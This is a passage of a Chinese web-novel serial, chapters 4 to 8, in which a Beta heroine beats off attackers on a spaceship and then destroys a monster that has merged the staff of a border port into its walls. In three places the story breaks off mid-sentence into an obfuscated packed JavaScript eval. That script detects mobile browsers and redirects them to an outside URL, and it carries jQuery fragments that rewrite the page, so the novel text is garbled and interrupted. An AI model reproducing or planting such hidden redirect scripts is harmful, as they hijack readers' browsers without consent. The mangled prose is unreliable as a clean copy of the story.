这得是多大的生物，才会有足以笼罩一整个现代航空港大小的骨架。 很多联盟中心居民终其一生不曾得见天门，这大概是一种幸运。 况野凝视着这道只出现在书籍中的“门”，同样的门在联盟中还有三处，分别位于二区和十七区。想要从污染区进入安全区，从安全区进入联盟中心，都要经过天门测试污染值。污染值超过一定数值的人类，永远不得进入安全区。 可以说天门是人类扼守安全区，防止污染物侵袭的关键。 况野回忆着书上的说法，天门特殊之处在于，它是某种污染物的遗体，由哨兵001号和向导001号联手击杀。 联盟发现污染物遗体分别具有不同的神奇效果，极具研究价值，某些研究结果已经应用在最新领域。因此有不少脑子活络，不怕死的人主动请缨来污染区，万一运气好凑巧杀死对联盟有大用的污染物，没准就平步青云，下半辈子不愁了。 以联盟目前的科技水平，飞船到达污染区还要好几天时间。 长途星际旅行况野适应得很快，离开联盟中心后光脑联网时有时无，她除了必要的吃饭洗漱，就窝在胶囊仓里看下载好的资料。 飞船却沉浸在一片愁云惨淡中，过惯联盟中心安全的生活，几个胆小的乘客想到污染区就吓得直哭。 “哭哭哭，给谁哭丧呢！” 刚到飞船用餐区附近，况野就听到传来门内传来怒吼，下一秒一个人影砸开门飞了出来，倒在她脚边。 那是个女性Omega，哭声卡在嗓子里，一声都不敢发出，肢体颤抖起来。 况野敏锐地抬头，这个少女害怕到极点，却满脸通红浑身发抖，这个反应她再熟悉不过了——有Alpha在释放信息素强迫Omega发情！ 又肥又壮的中年男人边走近边随手抓过旁边瑟瑟发抖的Omega，无趣地收回视线，“啧，标记过的O，没意思。” 这个中年男人显然是在场Alpha中最强的，其余人都露出敢怒不敢言的神色，有人求助地看向飞船员工，后者却没有一点制止的意思，反而饶有兴趣地旁观。 况野叹了一口气，她几次都刻意避开用餐高峰时间，没想到这么快还是被麻烦缠上了。 每个乘客面临生死不明的前景，飞船又是封闭环境，迟早会像内部不断加压的高压锅爆炸。 “喂，你，挡我的路想死吗？”中年男人冲况野冷笑道。 况野动动脚，没能挣脱掉女孩抓住她脚踝的力量，颇为抱歉地耸耸肩。 “你——！” 空气中信息素暴涨，压得人喘不过气来，中年男人奔跑起来像发怒的犀牛，地面微微颤动，况野体型跟他一比根本不够看的，个别弱小的B或者O捂着心口闭上了眼。 砰—— 沉闷的皮肉碰撞声，中年男人还没反应过来，脑袋就被抽得猛地偏向一侧，整个人一个趔趄，然后鼻血狂喷。 况野右手还保持着挥拳的姿势，抬脚发力踹向男人膝盖，轰隆隆肉山倾倒。 餐厅里的人们惊呆了，等回过神来的时候，只见况野嫌弃地踢了踢地上晕乎乎的中年男人，手中亮出一把超大号扳手。 况野踩在中年男人身上，却用扳手指着绝处逢生，眼睛亮晶晶的Omega问：“柳家许诺给你们什么好处？” 少女瑟缩了一下，“您在说什么，我听不懂。” “哦，那我就当你们是突然心血来潮，心有灵犀换了同一个吃饭时间。”况野目光扫过用餐区，众人目光纷纷躲闪。 柳家肯定不会轻易放过她，只要稍微透露让她不好过的意图，多的是巴结柳家试图回联盟中心的人。 非常规情况下，出于自保，怎么可能会有O敢和这么多A共处一室。都知道Beta嗅不到信息素味道，就真当况野看不出中年男人和这个少女之间的猫腻。 以为况野会路见不平拔刀相助，等Omega取得她信任，再玩背后捅刀那一套？况野心道这手法也太曲折了吧。 看况野举起了扳手，Omega一下慌了，“您不能不能讲道理，我什么都不知道……” 况野手起扳手落，当着O ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372829|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' mega的面敲断了中年男人鼻骨，对方满脸是血地彻底昏死过去。 然后一脚踩住想跑的女孩袖口，扳手拍了拍她惊恐的脸庞，理所当然地说，“我是暴力狂，讲什么道理？” 这具身体有个最大优点，就是力气大。谁敢对她动歪心思，况野相信扳手和拳头可以感化他。 Omega抖如筛糠，泪水在眼眶中打转。这回不是演戏，是真的恐惧况野给她来一扳手。在场没人敢动，屏息目送况野松开手，然后走向餐区，像是什么都没发生似的吃吃喝喝。 况野嚼着块炸土豆块，去污染区飞船上的伙食喂猪猪都得抗议虐待动物，透过舷窗看见飞船正在降落。 这里应该是飞船驶入污染区前最后一个安全的停靠点，往后每一段行程，没人敢打包票一定能顺利抵达。 就在这时，鼓掌声伴随着哒哒哒脚步响起，几个人身边跟着只黑棕猎犬出现在楼梯上，居高临下俯视用餐区。 这帮人神态轻松，衣领别着精致徽章，仿佛去污染区不过是一次度假。有人猜出了他们身份，低声喃喃：“哨兵的精神体！是科学院派遣的研究员小队。” 联盟科学院近十年最重磅成果都来自污染物，在科学院挂职的家族少爷小姐们来污染区玩的可不是普通人搏命这一套，砸钱请哨兵随身保护，名为考察，实为镀金。 “你知不知道按联盟《保护Alpha及Omega法案》，伤害育龄Omega会是什么下场？”鼓掌的人收了手，盯着况野，脸上浮现出不加掩饰的恶意。 况野懒得理他，看他们的徽章是联盟中心塞西尔家族的人，和柳家有千丝万缕的联系，很可能是为柳安世出气来了。 “喂，废物Beta，跟你说话呢！听见没有！”况野的无视令对面十分不爽，拔高声音。 况野叹了口气，终于放弃驯服橡皮一样的炸土豆，反问：“你没听说柳安世被我揍成什么样，我专业是干嘛的吗？” 随从赶紧对为首的耳语两句，塞西尔家少爷表情变得精彩纷呈，毛骨悚然看到况野意义明确地扫视他某半截身体。 况野：“拆弹专家。” 众人：…… “你敢！！！”塞西尔少爷边夹紧腿，边咆哮，“所有人都看见你对那个Omega动手了，把她抓起来！” 他转头阴恻恻对船员道，“我会让她活着到污染五区，至于她在我手上变成什么样……相信你们不会多管闲事。” 船员连连点头后退，这帮联盟中心来的人的变态程度，哪怕只是船员内部的传闻都令他胆战心惊。 塞西尔少爷正想催促哨兵动手，半人高的黑棕猎犬却躯体伏低，对着缓缓下降的飞船外呲牙咧嘴地发出低沉咆哮。 怎么回事？ 众人茫然，哨兵一把将塞西尔少爷拉到身后，飞快将枪械上膛，警觉环视四周。 重重合金，隐藏在夹层里的线路，同时运行的装置，隔绝了外部动静，普通人耳朵里一片安静。但五感强化的哨兵足以捕捉到一切非常细微的声音，就连五感没怎么提高的况野也听到了，瞬间握紧扳手。 呼哧——呼哧—— 飞船外黏腻黑暗里，沉重喘息滴下来包裹住了他们。 ……是污染物！ 5. chapter 5 十分钟前。 这艘搭载了几十名流放者和一队研究员小队的小型飞船，在屏幕上靠近了代表安全的绿色小点。 这套星域图和航向是白塔人工智能根据污染数值计算的，只要在绿色区域航行便是安全的，十几年来绝无出错。核心室里值班的副船长漫不经心瞥了眼屏幕，就继续和光脑上虚拟Omega你侬我侬了。 飞船上没有人看见，下方浓雾中维尔汀港的灯光像眼睛一样眨了眨。 “怎，怎么了？” 对重金请来的哨兵白少凌，塞西尔少爷还是比较客气的，即便被像小鸡仔一样揪过去，他还是没发火。 白少凌不动声色示意船员先联系船长，研究员小队下意识贴近了他，毕竟他是在场唯一一名哨兵。 几秒后船员面色苍白，呆呆地冲白少凌摇摇头，通讯器尽是忙音，飞船上所有通讯忽然中断了！ 靠！白少凌表情微变。他是白塔B+级哨兵，等级不高不低，飞船上还有一名C级哨兵护航，加上他两个哨兵，真遇上污染物肯定护不住全船人。他本想让船长立即升空，现在看来也不知道核心室什么情况。 “来不及了。”况野插嘴，抬起手指指向窗外，低低地说。 窗外猎猎狂风撕扯着飞船表面，一片又一片雪花翻滚着经过窗口被灯光映亮。 它们是像灰烬一样的灰色。 灰色的，带来死亡气息的雪。 凉意爬上了用餐区里每个人的后背，不知过了多久有人爆发出惊恐尖叫。就像扣响指令枪，用餐区瞬间乱成一团！ 况野被疯狂向白少凌涌去的人群挤到边上，做好了迟早要面对污染物的心理准备，最开始的慌乱过去后她很快冷静下来，快速回想污染物特性。 飞船外不是下雪，而是一种确切来说接近污染物孢子的东西，在联盟科普里是污染物出现的信号。普通人暴露在灰雪中有几率被污染物感染死亡。 况野大胆贴在窗口眺望，和孢子一层玻璃之隔。 停靠点港口闪烁着微弱光芒，飞船和港口越来越近，忽然星星点点的灯光同时转向，齐刷刷汇集在况野身上。 况野：…… 太诡异了吧，况野禁不住头皮发麻，就好像港□□了过来，无数颗眼珠子发现锁定了她。 没学者能说清污染物到底是病菌，寄生体，还是异种生物。和污染物抗争的半世纪，人们对污染物本质的认识仍停留在污染物是有自主意识，还有传染性的特殊生物上。 想要杀死污染物，必须先摧毁它体内的核。 喧闹的人群突然静音，白少凌让他的黑棕猎犬精神体增大到老虎大小，拦在他和乘客之间。 白少凌摩挲着枪身，“谁再靠近，我就开枪了。”作为经验丰富的白塔哨兵，他做出了抛下其他人，立刻坐逃生船逃离这里的决定。 “你怎么能……你怎么能这么做！”怔愣之后，人群中有人悲愤道，“你可是白塔的哨兵啊！” 保护联盟公民不该是哨兵和向导的职责么？ 白少凌掩护着研究员小队往上走，冷淡地说，“塞西尔家族付钱了，你们没有。” 黑棕猎犬对准带头指责的乘客扑过去，精神体咬合力惊人，一扭头利齿咬断了那人小腿骨。 满地鲜血和血腥气中，塞西尔少爷从白少凌身后探出脑袋，有哨兵保护，他又恢复了倨傲的神情，薄唇扭曲着：“逃生船还有一个位置。” 况野余光看见塞西尔少爷朝自己指了过来： “谁杀了她，这个位置就赏给谁。” > 船舱内乱成了一锅粥。 一面研究员小队抓紧往逃生船方向赶，一面陷入绝境的乘客们对况野群起攻之，抢着把况野拉进这锅粥里活活烫熟。 “712号飞船将于五分钟后接入维尔汀港，请注意，712号飞船将于……” 没时间了！ 况野心头一凛，明显是维尔汀港出现了污染物，要是飞船接入，他们留在飞船上的一个都跑不掉。 这一晃神，挥舞的餐刀差点没擦过她眼角。刀叉甚至瓷盘都被急红了眼的乘客当成了攻击她的武器，况野吃力地躲闪，四面八方都是人，一时间很难冲出去，而塞西尔和白少凌早已不见踪影。 等她脱险，不把塞西尔敲成三段誓不罢休。况野心中涌动冰冷怒意，一扳手砸晕了冲上来的乘客。 况野急中生智：“不想死就给我停下，我是哨兵。” 果然围攻的乘客下意识顿住了，很快有人反应过来：“哨兵怎么可能跟我们一块流放污染区？” “她在胡说，快杀了她！” 况野趁机跨到窗边，哐地一声，扳手砸中的玻璃竟然出现了细密裂纹，旋即无数灰雪仿佛嗅到血腥气的鲨鱼那样蜂拥而至，覆盖满摇摇欲坠的玻璃！ “是吗。” 只要再砸一下，孢子就会涌进飞船里。 围攻人群颤抖着往后散去，惊恐地看着背景灰压压一片的Beta嘴角勾起笑意，她清秀的脸锋芒毕露，镇定甚至接近冷酷地说。 “反正哨兵向导对灰雪免疫，我是不是哨兵，大家都来试试好了。” 疯子，疯子！ 被况野拉着同归于尽，和被白少凌的精神体咬死的艰难抉择间，不少人崩溃了，想着先跑出用餐区再说，转瞬间用餐区稀稀拉拉没剩几人。 况野暗自舒了口气，手部肌肉因紧张都有点发僵不听使唤。 理论上白塔哨兵和向导的确拥有对污染物孢子的超强抗性，可她没接受过白塔专业训练，觉醒精神体后体力，敏捷度和五感也提升不多，不知道有没有发展出免疫力。 她也在赌其他人不敢拿命尝试。 随即况野不再耽搁，抄起扳手朝核心室狂奔。 沿路安静到诡异，估摸着飞船入港时间不到四分钟，况野迎着廊桥侧面实时观光虚拟屏上越来越密集的风雪飞奔，一颗心缓缓沉入谷底。 乘客没有乱哄哄四处逃生只有两种可能，要么没察觉污染物，要么飞船上半部分情况比她想象得更糟……糟到这些人都没办法呼救。 “等一下，救救我……” 半途一个纤细的人影扑过来拦住况野，竟然是那个差点被她揍的Omega。 女孩害怕但一口气说：“放心我发誓绝对不敢再对你不利，我相信你是哨兵求你带上我，要我做什么都可以，你想抢逃生船的话，我会开！” 这句话成功让况野刹住脚，她只临时学过开飞船理论知识。思索几秒后她拖着Omega飞奔起来，边跑边说：“我不抢逃生船，”况野指指头顶，陈述，“我要抢整艘飞船。” Omega：……什么土匪啊这是。 “开！飞船我也能开！”Omega心一横，没人依靠污染物来了她一定会死，抱住“哨兵”大腿至少有点希望。 她习惯依附强大Alpha，讨好成了本能，不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时操控面板一侧亮起指示灯，平稳下落的飞船猛地想□□斜，一时间零碎小东西全都骨碌碌从高处滚落。白少凌掩护着塞西尔家的人登上了逃生船，不仅如此，为了永绝乘客追上来的后患，他们甚至炸毁了逃生船附近区域，飞船底部出现了一个大窟窿！ 原本就做不到绝对密闭的飞船抵御灰雪的最后一道防线破裂，陌陌惊恐地睁大眼，灰雪感染乘客只是时间问题。 况野扶着桌沿站稳，感觉怒火熊熊燃烧。联盟中心家族养尊处优的Alpha是这样的，从不把别人的命当命。她见识过很多次，可不管面对多少次，她依旧愤怒依旧没法说服自己这个世界的规则便是如此。 况野：“马上向最近的白塔求救！然后能飞多高就飞多高！” “不行……不行，”陌陌的脸渐渐白了，无助地看向况野，“距离最近的白塔自动拒绝了我们的求救，他们不相信这里出了事，说维尔汀港的空管表示停靠点一切正常。” 一切……正常吗？ 这时一个通讯打了过来，况野按下接听。 通讯方：维尔汀港。 “喂，喂，对面有人吗？” 破败风箱拉动，漏气一样的声音含笑说。 “一切正常，请靠岸。” “滋滋……一切正常，请按程序靠岸……滋滋……” 6. chapter 6 一切正常才见鬼了！ 说话伴随的沉重呼吸声，像是从破洞的肺部深深吸入再呼出，加上滋滋的电流声，怎么听怎么瘆人。 通讯里对面空管还在重复，似乎翻来覆去只知道说这一句，多听几次陌陌感觉被洗脑了。 她不安地抬头看况野，焦急等待况野拿主意。 况野伸手把通讯关了。 没有维尔汀港空管烦人的复读，周围一下子安静下来。况野目光无意识跟随一片刮过观星窗的雪花，瞬间脑海闪过许多念头。 联盟污染和安全区的边界大概有十几年没有变动过了，白塔拒绝相信维尔汀港出事很好理解，污染物突破边界入侵是大事，一旦成真就意味着白塔防御不力。 现在的情况是，一，白少凌和塞西尔少爷逃之夭夭，期待他们良心发现立即报告白塔，还不如期待这个污染物有厌食症放飞船走；二，飞船破了个大窟窿，修理起飞需要时间，说不准是灰雪先钻进来污染全船，还是先修好；三，让白塔不再否认派出救援的方法其实还有一个。 况野视角下维尔汀港静静伫立在黑暗里，犹如匍匐在岸上体型巨大的软体生物。 进入维尔汀港，以维尔汀港名义向外界发出求救信号。 况家哨兵众多，况野这几年获知的白塔内部运作机制不少，知道像维尔汀港这样的边界停靠点发出的求救信号会突破原有级别限制，无条件推送给全联盟的白塔。 整艘飞船上，可以在灰雪中自由行动的，除了况野没有其他人了。 “712号飞船正在接入维尔汀港……” 电子音的播报简直是对况野之前努力最无情的嘲讽，宣告她想避免冲突先跑路的计划失败。 况野活动了一下肩关节，握紧扳手的时候她心想早知道想办法拦住塞西尔那伙人就好了，自己高估了他们的道德水准，可惜她不一定能打过白少凌，世上也没有后悔药。 “你你你要干什么？”看着况野平静地翻找出飞行辅助装置，穿在身上的动作，陌陌结巴了。 况野激活飞行辅助装置，快速说了一遍想法。 况野也不知道冒险深入维尔汀港呼救的选择是不是正确的，哪个选项都有风险。当然，最坏的结果应该是她拼死拼活发送求救信号，出来一看飞船抛下她先逃了吧…… “我肯定不会这样做的！”陌陌的反应出乎意料的激烈，为了证明可信度她塞给况野通讯耳麦。这种星际旅行专用的微型通讯器信号覆盖范围很广，维尔汀港附近都能建立通信，“相信我，我会等您返回再升空！” 况野对Omega的话报以一笑，未置可否。 什么人都不能轻信才是污染区常态，她对陌陌释放的友好信号根本没往心里去。 伴随轻微震颤，飞船接入倒计时归零。 陌陌贴在核心室方寸大小的可视窗上，紧张注视着况野单手掀开了长廊尾的通道门。 强风席卷孢子而来，漫天灰色中Beta放松四肢，向后直直倒进了灰雪中，从飞船上直接跳下！ > 即将摔到港口前一刻，况野掐准时间打开了飞行辅助装置，反向助推力带她轻轻落到地面。 维尔汀港同样静极了，似乎里面的“东西”对况野的来到毫无察觉。涂抹掉漫天灰雪，这里依旧在井然有序地运转着，况野犹豫了一下，慢慢摸到入口处，头顶在她踩上台阶的那一刻响起温柔女声： “欢迎来到维尔汀港，您已进入联盟安全区，这里是您永远的安全家园。” ……这句问候在此情此景中说不出的讽刺，况野撇了撇嘴，然而表情很快转变为震惊混合着恶心。 港口光线充足，才让况野看得明明白白，灰雪们并不是简单在地面和建筑表面堆积，看似雪花的孢子们正生长出细细的触手扎穿混凝土，向里生长。积雪被气流吹动，实际上是密密麻麻的孢子们在蠕动。 她正踩在无数细微活物构成的菌毯上。 况野瞬间起了一身鸡皮疙瘩。 有孢子试图穿过她口罩缝隙钻进口鼻里，幸好无法扎根，看来她对灰雪有抗性，这是唯一让况野放下了点心的好消息。 但是下一步该做什么，况野有些卡壳。 说到底她不过比普通人多了解点白塔和污染物的内幕，她真的可以直面污染物，从维尔汀港全身而退吗？ 扳手欢快地：【鹅。】 这声喊饿冲淡了况野心里刚生出来一点的胆怯，人无语的时候真的会笑，况野对自己的精神体翻了个白眼，三两下敲定了粗糙的行动方案。 先找维尔汀港平面图，然后直取调度中心，路上有什么武器就用什么。 况野撬开港口侧面一个小门溜了进去，果不其然在这层楼的转角发现了平面地图。 况野扫了几眼就将地图每个细节牢牢记在脑子里，觉醒精神体后她五感灵敏度没有质的提升，唯独记忆力大幅度加强。虽然还不到超忆症那种程度，但任何记忆里的画面她都能清楚复盘出最细微之处。 奇怪…… 况野专挑小路灵活朝调度中心进发，建筑内部孢子浓度肉眼可见降低很多，但她不敢摘下口罩冒险，跑得脸上捂出一层水雾。 维尔汀港内部还是没有一个人。 期间况野从几个房间拿到了备用防具，跑过一扇扇门，边在脑内利用余光瞥见的部门名牌和光屏滚动信息计算出港口正常人流量。 如果说这些人都死了，那这上百号人的尸体呢？怎么会消失得干干净净？ 还有污染物……会在哪？ 一般而言污染物具有攻击性，天然与人类为敌，所以维尔汀港越平静，况野才越不安。这说明污染物智商不低，甚至懂得隐藏自己。 又一道金属门堵住了况野的去路，通过这扇门，不远处就是调度中心。 可况野手指触摸到门把手的时候，却感觉指尖细微的痛感，就好像冬天被静电突然电了一下。 与此同时卡在缝隙里的扳手说话了：【呕——】 天杀的精神体词库里居然有第二个字，一股强烈的呕吐欲从胃部涌了上来，况野捂住嘴蹬蹬后退几步，喘着粗气盯着门。 觉醒者和精神体间奇妙的联系告诉她，刚才她部分共感了精神体，这扇门有问题！ 咔哒，咔哒，无外力作用下，门把手突然开始疯狂旋转，况野警惕地将扳手举到面前，门把手尾端的球形部件在暴力旋转中松动，慢慢滚落到况野脚边。 ……这哪里是什么金属把手，薄薄金属层包裹着一颗眼球，浅蓝色的虹膜已经浑浊了。 况野：卧。槽。 弯曲的门把是肋骨，锁芯是一排排细密牙齿，向她敞开的金属门侧面夹层是粉色的，至于里面填充了什么况野一点也不想知道。 原来维尔汀港里失踪的人在这里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372831|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 室内盆栽里刚长出来的花苗是指甲尖，消防柜里的水管是拉长十几倍的手臂，外面的航向灯是长在一起的眼睛团，这些人和维尔汀港融为一体，他们被污染物吃掉了，他们成为了污染物。 难怪维尔汀港怎么地面到处都铺地毯，踩起来软软的，还花花绿绿有不同图案。况野抬起脚，浑身恶寒，她迫切想来全身消毒。 静音许久的耳麦传来兹啦电流声，信号短暂恢复，陌陌断断续续重复飞船维修程度快到百分之八十。 况野深呼吸几次，强压下恶心，双手像握棒球棍一样抓紧扳手，压着步子穿过门，准备随时给污染物来上一击。 调度中心令人惊讶的敞开着。 维尔汀港这样算得上重要的边界停靠点，来来往往的调度竟然局限在如此狭小沉闷的房间里，甚至调度员只有一个人。工作台上的指示灯多得眼花缭乱，光却映亮不了调度员的脸，对外只有一个灰暗背影。 “你靠岸了……很好……”空管说，椅子转动，语气骤然充满愤怒，“你竟敢不工作！谁允许你不加班的！” 愤怒到极点，室内室外的灯跟着闪烁，耀眼明亮的灯刺得人眼睛生疼，钨丝承受不住直接熔断了。 况野感觉生理性泪水从眼眶溢出，办公椅上的空管已迅疾向她扑来！ 他已经彻底异化了，眼睛嘴巴是漆黑的空洞，雪花像燃尽的灰从中源源不断地涌出。人形污染物和办公椅从脊柱粘连，下半身几乎融化进了办公椅里，八个不知道该说是万向轮还是脚速度奇快无比。 转瞬间污染物就碰到了况野衣角！ 况野反应迅速，手腕翻转冲污染物砍去，衣角兹啦一声撕裂。气还没喘匀，空管白森森的牙齿又差点咬断她喉管，说时迟那时快，况野想也没想拎起防具对准空管的嘴巴用力怼了下去，骨骼碎裂声中，防具边缘划开了污染物口腔，几乎将它的下颌切断！ 况野双臂充血，青筋暴起，心跳敲击着耳膜。她从未用过这么大的力，人在绝境中爆发出的潜力无限。 污染物的头颅和脖颈以怪异的角度一动不动弯曲着，似乎被况野的巨力折断，下一秒，况野却留意到污染物撕裂到耳根的嘴角翘了翘。 况野手被烫到般立即松开，连着后退出一大段距离，防具一点点消失在污染物口腔，就好像蟒蛇能吞□□积几倍于自身的猎物那样，包括她撕裂的衣角，这些东西都正在缓慢被污染物消化。 这个污染物能将一切它触碰到的东西同化！ 况野忍住想咒骂的冲动，看起来她能伤害到污染物，但没摧毁核，污染物会不断“活”过来。 哨兵战斗，向导凭借精神力确定核的位置。况野的问题是精神力未经正式开发，Beta算不上哨兵也算不上向导，她找不到“核”。 既然如此，把污染物切碎找核可行吗？况野冷静地思索着疯狂的计划，她还缺少利器，扳手远不够锋利。 扳手：【鹅。】 都什么时候了弱智精神体还想着吃！况野气得一口气差点没上来，就在这时落在扳手上的孢子忽然被卷入扳手U形处消失了。 她的……精神体在吃污染物孢子？ 况野目瞪口呆看着孢子接二连三被卷进扳手，然后扳手方向一转，啪地粘上了放在一边，重量还不轻的哑铃。 这算什么……生死关头况野惊得脑子一片空白，精神体合成了一把大锤子？ 7. chapter 7 况野无措地摸了摸扳手顶端。 精神体和哑铃融合得浑然天成，一点没有焊接痕迹。 据况野所知精神体形态在哨兵和向导觉醒后就固定了，除非极少数昆虫类精神体有可能变态转换形态，精神体和普通物品融合什么的，闻所未闻。 而且这种双头锤况野只在用来锤肉泥的厨房用具上见过，这是要她把污染物锤成肉泥？ 当况野对着精神体凌乱的时候，污染物吞下了金属防具，下颌几乎分离的脸上血淋淋的，身躯两侧蠕动长出尖锐长刺，尖端泛着钢铁光泽。 被污染物感染的生物或者东西，都能被转化成它躯体的一部分。 污染物：“工作……给我工作……” 魔音绕耳给况野听气笑了，她飞起一锤和再度攻击的污染物对冲，“你是A或者O，有发情期易感期吗就催我工作？没有工作的义务！” 钢铁尖刺蜂鸣晃动，与锤子接触的部分直接瘪了下去。况野精神一振，普通哑铃融合后似乎拥有了精神体的强度，锤子对污染物有用！ 污染物下盘八个万向轮犹如章鱼触手，速度轻松突破了人体极限，爆闪灯光干扰下，况野只能听声辨位，判断污染物位置。 一般人应对不了，但况野不同，调度中心内部早就印在了她脑子里。污染物的速度是很快，但体型也限制了它的灵活性。 况野硬生生推倒沉重文件柜，一时间手写的工作笔记哗啦啦乱飞，铁质柜子替她挡下了污染物一击。 利用好地形，她也可以对污染物造成伤害。 趁两个长刺卡在铁片中，污染物暂时动弹不得时况野一锤接一锤落下，锤锤到肉！由精神体融合成的双头锤，加上况野的力气，每锤力道不啻于能破开一堵墙！ 骨骼碎裂声不断响起，每一锤落在污染物身上，污染物的身躯就凹陷下去一点；空管脑袋像漏气的气球一样瘪下去，它的脸扭曲变形，手臂弯折，深色的污迹溅满工作制服。 极度紧绷状态下况野几乎感受不到自己的手臂，直到收手才后知后觉手腕被反作用力震得生疼。 幸好污染物受伤时流的不是血，而是孢子，况野拉开安全距离想。成为污染物的那刻空管当然再也算不上人类，可对人形污染物下手让她很不舒服……就好像她杀死了这个人第二次。 不过况野一回头观察，负罪感立刻一扫而空，情不自禁地：“什么情况！” 只见污染物形变的脑袋，每处伤口都裂开长出了嘴，喋喋不休复读，“工作……加班……” “多加一点班……联盟更美好……” “……万一被裁员……找不到这么好的工作……” 裂出的嘴说话还有延迟，各说各的，吵得不可开交。 况野面无表情：吵死了，她下手还是太轻，后悔了。 污染物遭受的伤害都将它往非人的方向变化，脑袋上伤口变成嘴外，骨折的手指干脆变长，末端像树杈子那样分叉，还在不断分裂出新的手指。 这个污染物两只手放在光脑键盘上，能同时按动所有键吧！况野心里疯狂吐槽着，忽然灵光一现。 污染物发生的异变，似乎都是向着方便工作去的。布满脑袋的嘴，可以同时下达调度指令；树枝一样畸形瘦长的手指，可以高效操控开关，按键，指示灯密密麻麻的调度台。 小小的调度中心内一片狼籍，能用作路障的盾牌的陈设都破坏得差不多了，况野应对渐渐吃力起来。最开始哐哐两锤就会暂时丧失行动力的污染物，现在连抡十几锤不带歇的才能让污染物停下来。 不是她的错觉，每一次遭受伤害反而让污染物变得更强！ 污染物呢喃始终黏在她身后，况野心底逐渐涌起奇怪的渴望……一种强烈而紧迫的工作的渴望。 她渴望上班，渴望无休止997，渴望将自己的一生奉献给工作岗位。 察觉到这个念头的时候况野抖了一下，这也太恐怖了吧。 这种渴望并非源自对工作的热爱，而是因为深层次的恐惧。 精神污染。 不知不觉间这个污染物已经影响了况野的理智，换普通人早就发疯了。 几轮进攻后她被污染物逼进了调度中心死角，面对靠近如死亡倒计时的污染物，况野的精神却亢奋到极致，脑子飞快转动。 为什么这个污染物的精神侵蚀，会是让人渴望上班？ 仔细想想不见的船长船员等人都是在工作岗位上失踪的，结合污染物特定的畸变，飞船上为什么有部分人消失，可其他人还活着有了答案。 会不会污染物和灰雪只能选中在工作的人，将他们与最后工作的场所融为一体？ “原来如此……”况野自言自语道。 怪不得她，塞西尔家族的人和那帮乘客在灰雪降临时活了下来。但即便侥幸幸存，留在维尔汀港最终慢慢都会被污染物精神污染。当他们站上所谓“工作岗位”的那一刻，就会被污染物吃掉。 想通关键点，况野意志力抵抗住越来越旺盛的上班欲望，眉头紧锁地说，“我不会上班的。失业了怎么工作？” 污染物愣了足足好几秒。 就好像机器加载过热，污染物呆滞地重复况野的话，蓦地暴怒：“失业……失业必须死！！！” 它彻底撕破了人类的皮囊，无数根手臂手指从皮肤下钻出，翻出暗红色内里的皮肤像碎屑一样掉落，躯干血肉的褶皱里藏着一张张嘴，像鱼鳃一样开开合合。 如此扭曲恶心的形象，况野看一眼都感觉要做噩梦。 更噩梦的是，暴怒的污染物力量增强，随手一扯，就把面前的钢板撕碎了。 在污染物几十根手臂上百根手指把她摁在墙上捅成筛子前，况野抓住机会，一咬牙从手臂与手臂间缝隙钻了出去，肩膀和小腿传来剥皮般的剧痛。这几个地方不可避免地碰到了污染物，皮肤正从正常色泽转为暗紫。 然而况野顶着身体上的疼痛微微笑了，紧接着以最快速度掉 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半边稀巴烂的调度台上，一盆小仙人掌从摇摇晃晃的边缘掉了下来。 况野捕捉到一丝波动，低头看到花盆残片里，仙人掌小小的根系结出一颗结晶状物质。 况野有些意外，没想到杀光了一整个港口的污染物，核居然在它体外，还是生机勃勃的绿色。 看着昏暗调度中心里唯一一点亮色，况野没有犹豫。 啪。 污染物的核在双头锤下瞬间粉碎！ 在身上挖出一个又一个血洞的污染物静止了，凝固了，随后全身猛地炸开，灰雪像飞蛾群般四散扑棱，况野下意识挡住脸，躲避污染物喷涌出的孢子。 危机解除，一切归于平静。 况野放下手臂，环顾四周。她整个人还处于激烈战斗后的应激状态，心跳快速得似乎顶破胸膛，四肢力竭到再也抓不住精神体，哐地掉在地上。 这个污染物连残骸都没有剩下。 污染物意识错乱时那些话确实激起了她一点情绪波澜，但不代表况野会同情它。杀死这么多人的污染物不配一句安息，况野想了想，对最后污染物还保留的那一点人类的部分，或许说句休息吧更恰当。 况野靠在调度台缓了两秒，拖着疼痛的身体摸到了特殊警报装置，发送求救信号。 地板上的扳手和哑铃分开，等况野注意到的时候，绿色的结晶碎片神秘地消失了一小半！ 还没等她反应过来，大量杂乱无章的信息碎片涌入况野脑海，眩目白光中她分辨不清哪些是污染物的记忆，哪些是真正的况野的记忆，哪些是她的。 地面拍到她鼻梁上的那刻，况野脑海中闪过某个记忆片段。 她想起来了……为什么她要执意去污染四区。 十八岁那年，她来到这个世界的第二年，她捡到了一个人。 一个没有第二性别的，女人。 她来自污染四区。 8. chapter 8 “污染物不会再追上来了吧？” 逃生船里，塞西尔少爷不住瞥向飞船下方，紧张兮兮问。 维尔汀港在他们脚下缩小成一个小点，动脑子想想普通污染物再有能耐也不可能飞这么高，然而空中偶尔的飞鸟都把塞西尔那帮人吓得够呛。 蠢东西。 